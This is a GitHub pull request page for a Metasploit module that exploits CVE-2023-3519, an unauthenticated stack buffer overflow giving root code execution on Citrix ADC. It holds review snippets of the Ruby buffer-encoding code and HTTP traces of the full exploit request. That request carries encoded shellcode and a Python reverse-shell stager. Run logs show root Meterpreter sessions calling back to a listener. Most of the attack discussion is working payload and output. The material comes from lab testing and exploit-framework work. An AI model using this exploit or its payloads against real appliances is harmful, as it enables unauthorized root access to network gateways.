Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add CVE-2023-3519 Citrix RCE #18240

Merged
merged 8 commits into from
Aug 3, 2023

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Jul 31, 2023

The exploit works on 13.1-48.47 but I still need to write the docs and look into a check method. I tested both the cmd/unix/reverse_bash and cmd/unix/python/meterpreter/reverse_tcp payloads. The nsppe process does not crash so the target can be exploited repeatedly. It's highly unlikely that the addresses and offsets will work on other Citrix targets. I'll need to review those and add them as necessary.

Verification

  • Setup a vulnerable version of Citrix ADC
  • Use the module
  • Set the RHOST, PAYLOAD and payload-related datastore options
  • Run the exploit and see the payload has executed

Example

msf6 exploit(freebsd/http/citrix_formssso_target_rce) > show options 

Module options (exploit/freebsd/http/citrix_formssso_target_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.159.130  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Citrix ADC 13.1-48.47



View the full module info with the info, or info -d command.

msf6 exploit(freebsd/http/citrix_formssso_target_rce) > run

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Sending stage (24768 bytes) to 192.168.159.30
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.30:36429) at 2023-07-31 17:34:18 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : cirtrix
OS           : FreeBSD 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 2596b10c4(rs_131_48_41_RTM): Sat Jun  3 00:57:48 PDT 2023     root@sjc-bld-bsd114-232:/usr/obj/usr/home/build/adc/usr.src/sys/NS64
Architecture : x64
Meterpreter  : python/freebsd
meterpreter > pwd
/
meterpreter > 

@AkechiShiro
Copy link

AkechiShiro commented Jul 31, 2023

Hi @zeroSteiner, first of all, thanks for your work on this.

  1. Is there any rule about disclosure in order to know when these PoC are released, is the rule of thumb 2 weeks after the official advisory ?

  2. How hard is it to stabilize this PoC ?

  3. Finally, by others Citrix, you mean :

A. you're currently targeting one precisely and this PoC would crash all other vulnerable instances regardless of the version of the instance ?1
B. This PoC works correctly on only instances of this exact version 13.1 Build 48.47 ?

For reference, the official advisory mentions this :

NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.13
NetScaler ADC and NetScaler Gateway 13.0 before 13.0-91.13

Footnotes

  1. Maybe this PoC as of right now is targeting the specific memory state of a virtualized appliance, and will be getting more stable later for any instance ?

@zeroSteiner
Copy link
Contributor Author

  1. It's already stable if you know the target version and it matches the one the module supports.
  2. I meant that it works reliably on that specific target version. I tested a VM but rebooted it multiple times while testing and the important addresses matched values noted by my colleagues.

@zeroSteiner zeroSteiner marked this pull request as ready for review August 1, 2023 16:28
Comment on lines 126 to 128
buffer = rand_text_alphanumeric(target['return_offset']).bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join
buffer << [target['return']].pack('Q').bytes.map { |b| (b == 25) ? '%%%02x' % b : b.chr }.join
buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe add a comment explaining that this block is about encoding away bad chars?

ret
SHELLCODE

buffer = rand_text_alphanumeric(target['return_offset']).bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe rand_text_alphanumeric always returns alphanumeric characters that are < 0xa0. Do we need to handle characters >= 0xa0? Unless I'm missing something, this could be:

Suggested change
buffer = rand_text_alphanumeric(target['return_offset']).bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join
buffer = rand_text_alphanumeric(target['return_offset']).bytes.map { |b| '%%%02x' % b }.join

SHELLCODE

buffer = rand_text_alphanumeric(target['return_offset']).bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join
buffer << [target['return']].pack('Q').bytes.map { |b| (b == 25) ? '%%%02x' % b : b.chr }.join
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If I understand it correctly, the character that this wants to encode is %. This character has an ascii value of 0x25 and not 25, which will result in this character inserted in the buffer unencoded:

[43] pry(main)> [0x12432566].pack('Q').bytes.map { |b| (b == 25) ? '%%%02x' % b : b.chr }.join
=> "f%C\x12\x00\x00\x00\x00"
[44] pry(main)> [0x12432566].pack('Q').bytes.map { |b| (b == 0x25) ? '%%%02x' % b : b.chr }.join
=> "f%25C\x12\x00\x00\x00\x00"
Suggested change
buffer << [target['return']].pack('Q').bytes.map { |b| (b == 25) ? '%%%02x' % b : b.chr }.join
buffer << [target['return']].pack('Q').bytes.map { |b| (b == 0x25) ? '%%%02x' % b : b.chr }.join

@cdelafuente-r7
Copy link
Contributor

Thanks @zeroSteiner ! The last changes fixed the crash I had on my environment. However, I'm still not able to make it work. Now the server just resets the connection.

Citrix ADC 13.0-91.12

msf6 exploit(freebsd/http/citrix_formssso_target_rce) > exploit lhost=192.168.70.109 rhosts=192.168.70.226 verbose=true httptrace=true forceexploit=true

[*] Started reverse TCP handler on 192.168.70.109:4444
[*] Running automatic check ("set AutoCheck false" to disable)
####################
# Request:
####################
GET /logon/LogonPoint/index.html HTTP/1.1
Host: 192.168.70.226
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0


####################
# Response:
####################
HTTP/1.1 404 Not Found
Content-Length: 59
Connection: close
Cache-Control: no-cache,no-store
Pragma: no-cache

<html><body><b>Http/1.1 Object Not Found</b></body> </html>
[!] The target is not exploitable. ForceExploit is enabled, proceeding with exploitation.
####################
# Request:
####################
GET /gwtest/formssso?event=start&target=%51%4b%78%61%44%38%38%72%6e%69%44%4e%68%42%31%62%6c%77%31%53%4d%45%68%31%38%31%44%56%62%64%78%78%63%57%76%6b%74%6c%58%64%6e%45%66%43%31%70%39%73%6c%69%42%56%32%6a%36%4b%61%35%48%7a%6a%43%41%66%5a%67%74%66%42%54%7a%4f%34%65%70%5a%59%6a%69%30%4e%4e%7a%72%6a%51%76%70%67%75%55%7a%66%38%73%30%6e%48%34%4b%36%62%6a%41%65%30%74%63%5a%48%33%6d%65%68%67%73%44%53%71%37%6d%51%41%4e%74%6e%59%65%46%7a%65%5a%6e%62%62%30%35%48%50%49%6d%39%4a%73%4f%5a%32%41%64%53%77%31%44%6d%57%4c%39%32%44%6e%67%4b%6f%49%56%68%6c%33��H    �%2f%02%00%00%65%78%70%6f%72%74%20%50%41%54%48%3d%2f%76%61%72%2f%70%79%74%68%6f%6e%2f%62%69%6e%3a%24%50%41%54%48%3b%65%63%68%6f%20%65%78%65%63%5c%28%5f%5f%69%6d%70%6f%72%74%5f%5f%5c%28%5c%27%7a%6c%69%62%5c%27%5c%29%2e%64%65%63%6f%6d%70%72%65%73%73%5c%28%5f%5f%69%6d%70%6f%72%74%5f%5f%5c%28%5c%27%62%61%73%65%36%34%5c%27%5c%29%2e%62%36%34%64%65%63%6f%64%65%5c%28%5f%5f%69%6d%70%6f%72%74%5f%5f%5c%28%5c%27%63%6f%64%65%63%73%5c%27%5c%29%2e%67%65%74%65%6e%63%6f%64%65%72%5c%28%5c%27%75%74%66%2d%38%5c%27%5c%29%5c%28%5c%27%65%4e%6f%39%55%45%31%4c%78%44%41%51%50%54%65%2f%49%72%63%6b%47%4d%4e%6d%71%63%56%64%72%43%44%69%51%55%51%45%64%32%38%69%30%69%61%6a%68%71%5a%70%53%4c%4a%61%46%66%2b%37%44%56%6d%63%77%77%78%76%35%73%32%62%44%7a%50%36%4b%53%51%63%4a%7a%56%41%34%74%2f%57%39%4c%7a%76%49%6a%51%31%6a%79%6b%63%56%4f%4c%4a%6a%49%42%65%70%34%42%6e%62%42%77%4f%6e%58%73%44%4b%6c%64%73%69%36%6f%55%76%68%5a%66%78%62%59%30%69%78%4c%6f%6d%68%2f%78%37%75%48%36%37%6d%57%33%66%37%79%35%75%6d%65%5a%4a%39%54%6b%48%4b%68%45%4b%5a%47%62%74%5a%44%4e%75%5a%42%43%62%67%69%76%46%32%4f%5a%30%67%66%6f%42%6c%54%42%72%4d%43%6e%72%4a%32%48%69%32%67%42%50%44%31%6a%79%4c%5a%6c%4a%33%46%77%76%6c%4d%44%4a%5a%65%33%68%45%63%52%51%48%33%51%52%65%42%70%39%59%78%30%65%38%53%57%6f%63%39%33%59%77%46%62%63%46%53%7a%43%37%76%49%36%5a%50%2f%36%6d%6c%4a%4d%77%51%7a%4b%4a%72%50%46%68%72%55%4e%50%6f%41%4d%64%4c%79%41%64%45%33%64%55%35%71%79%45%7a%2b%51%79%4c%5a%78%6c%2b%47%2f%67%44%57%6b%46%38%45%5c%27%5c%29%5c%5b%30%5c%5d%5c%29%5c%29%5c%29%20%7c%20%65%78%65%63%20%24%28%77%68%69%63%68%20%70%79%74%68%6f%6e%20%7c%7c%20%77%68%69%63%68%20%70%79%74%68%6f%6e%33%20%7c%7c%20%77%68%69%63%68%20%70%79%74%68%6f%6e%32%29%20%2d%00%5f�%02%00%00%00%72%00%5e%48���%2e�%01%48%81�%00%02%00%00��%48%31�%48%81��%14%00%00%48%89�%48%81�%90%01%00%00%68�%30%85%00� HTTP/1.1
Host: 192.168.70.226
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0


Connection reset by peer
[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.

Citrix ADC 13.1-37.38

msf6 exploit(freebsd/http/citrix_formssso_target_rce) > exploit lhost=192.168.70.109 rhosts=192.168.70.224 verbose=true httptrace=true

[*] Started reverse TCP handler on 192.168.70.109:4444
[*] Running automatic check ("set AutoCheck false" to disable)
####################
# Request:
####################
GET /logon/LogonPoint/index.html HTTP/1.1
Host: 192.168.70.224
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0


####################
# Response:
####################
HTTP/1.1 200 OK
Date: Thu, 03 Aug 2023 12:00:29 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 03 Jun 2023 06:39:14 GMT
ETag: "a732-5fd33ed8aa880"
Accept-Ranges: bytes
Content-Length: 42802
Feature-Policy: camera 'none'; microphone 'none'; geolocation 'none'
Referrer-Policy: no-referrer
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache, no-store, must-revalidate, no-cache
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html _manifest="receiver.appcache">
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta charset="utf-8" />
    <title class="_ctxstxt_NetscalerGateway">Citrix Gateway</title>
    <link rel="ICON" href="receiver/images/common/icon_vpn.ico" sizes="16x16 32x32 48x48 64x64" type="image/vnd.microsoft.icon" />
    <link rel="SHORTCUT ICON" href="receiver/images/common/icon_vpn.ico" sizes="16x16 32x32 48x48 64x64" type="image/vnd.microsoft.icon" />

    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />

[REDACTED]

[!] The service is running, but could not be validated.
####################
# Request:
####################
GET /gwtest/formssso?event=start&target=%67%41%58%49%35%4f%4a%69%4b%73%38%43%4f%42%6a%39%4e%74%44%50%45%6b%59%39%72%47%4c%77%67%71%33%7a%68%34%71%39%30%4a%39%30%54%69%53%48%47%35%6f%36%44%46%54%5a%6c%71%6a%50%44%44%48%4a%70%79%31%5a%78%78%67%4d%37%76%55%4c%39%50%55%6a%63%43%67%76%45%78%43%72%5a%46%5a%55%66%33%56%58%68%78%53%6d%4b%73%44%4b%46%4b%54%52%43%74%48%43%64%6f%33%73%62%45%6a%35%43%4a%6a%47%77%6b%76%66%6a%5a%4f%56%74%36%55%4a%67%36%58%31%64%76%5a%31%45%53%6a%37%4d%52%48%35%5a%58%45%4b%55%4a%31%77%63%41%5a%57%79%41%73%4a%77%44%57%48]    �%2f%02%00%00%65%78%70%6f%72%74%20%50%41%54%48%3d%2f%76%61%72%2f%70%79%74%68%6f%6e%2f%62%69%6e%3a%24%50%41%54%48%3b%65%63%68%6f%20%65%78%65%63%5c%28%5f%5f%69%6d%70%6f%72%74%5f%5f%5c%28%5c%27%7a%6c%69%62%5c%27%5c%29%2e%64%65%63%6f%6d%70%72%65%73%73%5c%28%5f%5f%69%6d%70%6f%72%74%5f%5f%5c%28%5c%27%62%61%73%65%36%34%5c%27%5c%29%2e%62%36%34%64%65%63%6f%64%65%5c%28%5f%5f%69%6d%70%6f%72%74%5f%5f%5c%28%5c%27%63%6f%64%65%63%73%5c%27%5c%29%2e%67%65%74%65%6e%63%6f%64%65%72%5c%28%5c%27%75%74%66%2d%38%5c%27%5c%29%5c%28%5c%27%65%4e%6f%39%55%45%31%4c%78%44%41%51%50%54%65%2f%49%72%63%6b%47%4d%4e%6d%71%63%56%64%72%43%44%69%51%55%51%45%64%32%38%69%30%69%61%6a%68%71%5a%70%53%4c%4a%61%46%66%2b%37%44%56%6d%63%77%77%78%76%35%73%32%62%44%7a%50%36%4b%53%51%63%4a%7a%56%41%34%74%2f%57%39%4c%7a%76%49%6a%51%31%6a%79%6b%63%56%4f%4c%4a%6a%49%42%65%70%34%42%6e%62%42%77%4f%6e%58%73%44%4b%6c%64%73%69%36%6f%55%76%68%5a%66%78%62%59%30%69%78%4c%6f%6d%68%2f%78%37%75%48%36%37%6d%57%33%66%37%79%35%75%6d%65%5a%4a%39%54%6b%48%4b%68%45%4b%5a%47%62%74%5a%44%4e%75%5a%42%43%62%67%69%76%46%32%4f%5a%30%67%66%6f%42%6c%54%42%72%4d%43%6e%72%4a%32%48%69%32%67%42%50%44%31%6a%79%4c%5a%6c%4a%33%46%77%76%6c%4d%44%4a%5a%65%33%68%45%63%52%51%48%33%51%52%65%42%70%39%59%78%30%65%38%53%57%6f%63%39%33%59%77%46%62%63%46%53%7a%43%37%76%49%36%5a%50%2f%36%6d%6c%4a%4d%77%51%7a%4b%4a%72%50%46%68%72%55%4e%50%6f%41%4d%64%4c%79%41%64%45%33%64%55%35%71%79%45%7a%2b%51%79%4c%5a%78%6c%2b%47%2f%67%44%57%6b%46%38%45%5c%27%5c%29%5c%5b%30%5c%5d%5c%29%5c%29%5c%29%20%7c%20%65%78%65%63%20%24%28%77%68%69%63%68%20%70%79%74%68%6f%6e%20%7c%7c%20%77%68%69%63%68%20%70%79%74%68%6f%6e%33%20%7c%7c%20%77%68%69%63%68%20%70%79%74%68%6f%6e%32%29%20%2d%00%5f�%02%00%00%00%72%00%5e%48��%20��%01%48%81�%00%02%00%00��%48%31�%48%81Ĩ%15%00%00%68%24�%77%00� HTTP/1.1
Host: 192.168.70.224
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0


Connection reset by peer
[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.

Note that for Citrix ADC 13.0-91.12, I needed to set ForceExploit. The check method maybe needs to be adjusted for this version?

@cdelafuente-r7 cdelafuente-r7 merged commit 00006ff into rapid7:master Aug 3, 2023
32 checks passed
@AkechiShiro
Copy link

@cdelafuente-r7 does this now work with stability ?

@cdelafuente-r7 cdelafuente-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Aug 3, 2023
@cdelafuente-r7
Copy link
Contributor

@AkechiShiro , yes! We just had a long debugging session with @zeroSteiner and found the issue. I was able to reliably execute the exploit against Citrix ADC versions 13.1-37.38 and 13.0-91.12 (targets 0 and 2).

Thanks @zeroSteiner for fixing this live! I landed quickly before the release cut for this week.

Example output

Citrix ADC versions 13.1-37.38

msf6 exploit(freebsd/http/citrix_formssso_target_rce) > exploit lhost=192.168.100.119 rhosts=192.168.100.204 verbose=true

[*] Started reverse TCP handler on 192.168.100.119:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (24768 bytes) to 192.168.100.202
[*] Meterpreter session 3 opened (192.168.100.119:4444 -> 192.168.100.202:43906) at 2023-08-03 18:51:26 +0200

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : ns
OS           : FreeBSD 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 2596b10c4(rs_131_48_41_RTM): Sat Jun  3 00:57:48 PDT 2023     root@sjc-bld-bsd114-232:/usr/obj/usr/home/build/adc/usr.src/sys/NS64
Architecture : x64
Meterpreter  : python/freebsd

Citrix ADC versions 13.0-91.12

msf6 exploit(freebsd/http/citrix_formssso_target_rce) > set target 2
target => 2
msf6 exploit(freebsd/http/citrix_formssso_target_rce) > exploit lhost=192.168.100.119 rhosts=192.168.100.208 verbose=true

[*] Started reverse TCP handler on 192.168.100.119:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (24772 bytes) to 192.168.100.206
[*] Meterpreter session 4 opened (192.168.100.119:4444 -> 192.168.100.206:40698) at 2023-08-03 18:51:52 +0200

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : citrix
OS           : FreeBSD 8.4-NETSCALER-13.0 FreeBSD 8.4-NETSCALER-13.0 #0 4b15633cc867(heads/mana_91_12)-dirty: Thu May 11 22:30:40 PDT 2023     root@sjc-bld-bsd84-102:/usr/obj/usr/home/build/adc/usr.src/sys/NS64
Architecture : x64
Meterpreter  : python/freebsd

@smcintyre-r7
Copy link
Contributor

Release Notes

This adds an exploit for CVE-2023-3519 which is an unauthenticated RCE in Citrix ADC. By making a specially crafted HTTP GET request, an attacker can trigger a stack buffer overflow within the nsppe process which runs as root.

@cdelafuente-r7 cdelafuente-r7 self-assigned this Aug 3, 2023
@firefart
Copy link
Contributor

firefart commented Aug 4, 2023

@zeroSteiner awesome! Any plans for also adding support for version 12.1 (the EOL one)?

@zeroSteiner
Copy link
Contributor Author

@firefart ask and ye shall receive. #18264 adds targets for the two 12.1 systems I have access to for testing and development.

@wvu
Copy link
Contributor

wvu commented Aug 4, 2023

Nicely done, y'all!

@seslo82
Copy link

seslo82 commented Aug 7, 2023

Hi,
Do I need to manually add this to the metasploit framework modules? It doesn't exist in my version

@zeroSteiner
Copy link
Contributor Author

It was released in version 6.3.28. If you're running an older version then yes you can manually copy the files. Some distros like Kali take a week or two to pull in the latest version of Metasploit.

@seslo82
Copy link

seslo82 commented Aug 7, 2023

Thank you for the information! I'll wait for a bit to see if it pulls in Kali!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

9 participants